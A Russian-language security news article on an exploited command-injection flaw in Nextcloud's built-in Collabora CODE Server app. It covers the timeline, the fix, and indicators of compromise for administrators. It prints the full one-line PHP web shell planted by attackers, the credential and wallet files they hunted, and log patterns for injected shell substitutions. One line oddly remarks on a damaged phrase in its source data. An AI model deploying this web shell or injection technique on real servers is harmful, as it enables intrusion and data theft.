Уязвимость в Nextcloud открыла путь к веб-оболочкам на серверах

Проблема затронула Collabora Online – Built-in CODE Server — дополнительное приложение Collabora с именем пакета richdocumentscode. Оно загружает и запускает на сервере Nextcloud локальную копию Collabora Online Development Edition (CODE), чтобы Nextcloud Office мог редактировать документы без отдельного сервера Collabora. В магазине приложение предназначено для «локального тестирования и непроизводственного использования», а также «личного использования или небольших команд». Уязвимость нашли во всех версиях до 26.4.303. Отдельные серверы Collabora Online, включая запущенные в Docker, через пакет Linux или у хостинг-провайдера, не затронуты. Не затронута и установка только с приложением Nextcloud Office richdocuments, без встроенного CODE Server: об этом участник форума Nextcloud предупредил 3 октября.
Уязвимость в Nextcloud открыла путь к веб-оболочкам на серверах
Изображение носит иллюстративный характер

Уязвимость с внедрением команд срабатывала, когда локальный сервер CODE не работал — например, во время перезапуска или обновления либо после сбоя. Скрипт proxy.php при запросе запускает CODE, если тот не слушает порт. В версиях до 26.4.303 текст из запроса, включая путь, попадал внутрь команды Bash в двойных кавычках. Но двойные кавычки не блокируют подстановки команд вида $(...). Злоумышленник мог поместить такую подстановку в путь запроса и выполнить команду от имени учётной записи веб-сервера. Скрипт — обычный PHP-файл в каталоге приложения; веб-сервер запускает его напрямую, без загрузки кода Nextcloud. Отдельное исправление аналогичной проблемы в том же скрипте, CVE-2025-66208, опубликованное в предыдущем декабре, эту уязвимость не устраняло.
Первое сообщение поступило от администратора, размещавшего несколько серверов Nextcloud: на GitHub он написал, что их взломали накануне. Журналы доступа двух серверов зафиксировали запросы 10 сентября в 19:51 и 11 сентября в 09:56, оба времени — UTC+2. Они пришли с одного адреса, 139.28[.]18[.]122, и обращались к /apps/richdocumentscode/proxy.php?status; команда была спрятана в пути. На всех серверах администратора стояла версия 26.4.302. Вредоносная команда записывала однострочную PHP-веб-оболочку в каталог приложения и пыталась отправить вывод uname -a на webhook[.]site. Идентификаторы обратного вызова: 45060ed4-de0b-4119-8f0d-2a2776bbd413 и 774cf5e1-b5a4-4174-a1ad-0241861029a2.
На одном сервере через оболочку искали хранилища учётных данных и криптовалютные кошельки: файлы .kdbx, wallet.dat, keystore.json, а также объекты с именами bitwarden, 1password, .bitcoin, .electrum, .monero и .ethereum. В изученных запросах не обнаружили команд для архивирования, копирования или отправки файлов. Тем не менее администратор посоветовал считать потенциально раскрытыми все данные, доступные учётной записи веб-сервера. Ещё два администратора сообщили о похожих случаях: у одного проверка целостности Nextcloud обнаружила новый PHP-файл, другой узнал о взломе из писем о неудачных попытках выполнить sudo. Ни в одном из сообщений нет свидетельств получения злоумышленниками root-доступа.
После установки исправления один администратор зарегистрировал 14 сентября новую попытку с адреса 89.38[.]98[.]50. Сервер CODE запустился с текстом атаки в параметрах запуска, но нового PHP-файла не появилось. Представитель проекта mmeeks написал, что результат «выглядит пугающе, но должен быть безвредным», и посоветовал обновить приложение и удалить оставшиеся файлы shx.php. В записи CVE говорится, что уязвимость «эксплуатировалась в реальных атаках в сентябре и октябре 2026 года». Сколько серверов пострадало, неизвестно. По словам mmeeks, проблема касается только Development Edition и сравнительно редкого режима встроенного CODE Server, при котором локально загружается AppImage.
Collabora указывает, что приложение нужно обновить до 26.4.303 или новее либо удалить. Простого отключения недостаточно: уязвимый proxy.php остаётся доступен. Исправленные версии требуют Nextcloud 30 или новее. Nextcloud 29 и более ранние выпуски сняты с поддержки, а магазин приложений продолжает предлагать для них уязвимую версию. Пользователям таких систем следует обновить Nextcloud или удалить richdocumentscode. В уведомлении Collabora прямо сказано: «Отключить приложение недостаточно, чтобы устранить проблему; его необходимо обновить до версии 26.4.303 или выше либо удалить».
Версия 26.4.402, выпущенная 24 сентября, изменила способ передачи параметров команды запуска: каждый параметр стал передаваться отдельно. На некоторых конфигурациях она не запускалась или не открывала документы, поэтому часть администраторов вернулась на 26.4.303 — именно эту версию Collabora назвала исправленной. По состоянию на 14 октября более нового выпуска не было. Исправление в proxy.php занимает четыре строки: команда передаётся Bash одним экранированным аргументом, а не строкой в двойных кавычках, поэтому оболочка не раскрывает текст запроса. Caolán McNamara написал изменение 20 августа под названием «Привести в порядок формирование команды запуска coolwsd»; в репозиторий оно попало 9 сентября. Версия 26.4.302 вышла 31 августа без этого изменения, а первая зарегистрированная атака произошла на следующий день после коммита. В исходных данных одна фраза повреждена: «and 26.4.The administrator...»; восстановить пропущенный текст невозможно.
Хронология раскрытия выглядит так: 20 августа Caolán McNamara написал исправление; 31 августа вышла 26.4.302; 9 сентября изменение попало в репозиторий; 10–11 сентября прошли первые зарегистрированные атаки; 14 сентября зафиксировали попытку против обновлённого сервера; 24 сентября выпустили 26.4.402. 3 октября участник форума Nextcloud предупредил, что уязвимость «уже эксплуатируется», хотя «предупреждение и CVE ещё не опубликованы». 14 октября Collabora выпустила уведомление и сведения о CVE. В качестве сообщившего об уязвимости в уведомлении указан пользователь GitHub wwwshellcodeit. Ни уведомление, ни обсуждение не называют дату отправки сообщения или момент, когда Collabora поняла, что изменение было исправлением безопасности. Администратор, сообщивший об атаках, временно отключил приложение; позже Collabora уточнила, что этого недостаточно. Mmeeks призвал обновиться, пообещал «дополнительные обновления в должное время» и сослался на «рекордную очередь» в базе уведомлений GitHub. К сообщению он приложил публикацию GitHub за июнь, где говорилось, что обработка заявок отстала на несколько недель.
Для проверки серверов администраторы сообщили о следующих именах файлов: shrf4645.php, shxa35d0.php, shx5cf91.php, shxd33ce.php и shxf4645.php — они находились в apps/richdocumentscode/ на серверах первого заявителя. Второй администратор обнаружил shx13a86.php, но его расположение не указал. В попытке 14 сентября фигурировало имя shx56367.php, однако файл не создали. SHA-256 найденной однострочной оболочки: 4b9fbd0663fbfd6028fc216ed18e0d6ef3ae498a7fdc97083e4b0ce3cec40562. Её код: <?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');?>.
После обновления стоит поискать файлы shx.php, начиная с apps/richdocumentscode, и удалить их. Журналы доступа следует проверить как минимум с 10 сентября: искать обращения к proxy.php?status, где путь содержит %2e%2e, $(, ${IFS} или конструкцию base64 -d с передачей результата в sh. Отдельно нужно проверить попытки sudo от имени веб-сервера. Поскольку этот пользователь мог читать файлы, любой доступный ему материал следует считать потенциально раскрытым.


Новое на сайте

20854Как дешёвые Android-смартфоны превращаются в чужие прокси? 20853В Индии имя звонящего появится на экране вместе с номером 20852Как проверить готовность команды к звонку с клонированным голосом? 20851Уязвимости MarkLogic: делегированные права могли открыть путь к администраторскому... 20850Как GitHub закрыл лазейку, угрожавшую тысячам npm-пакетов? 20849Hirudo подменяет банковские приложения, чтобы обойти их защиту 20848Как Vghost превратил старую ошибку Linux в путь к root? 20847Уязвимости в PAN-OS и Cisco Secure Email Gateway уже используют атакующие 20846Как уязвимость GitLab могла открыть сервер для чужого кода? 20845Уязвимость SAP Cloud SDK могла отправить OAuth2-секреты злоумышленнику 20844Уязвимость в Nextcloud открыла путь к веб-оболочкам на серверах 20843Смогут ли малые ИИ-модели превратить бытовую технику в ботнет? 20842Пять уязвимостей NGINX: кому грозит риск и как закрыть его 20841Тайный диктофон в OpenAI: что утверждают следователи 20840Как проверять уязвимость входа, не заходя дальше дозволенного?
Ссылка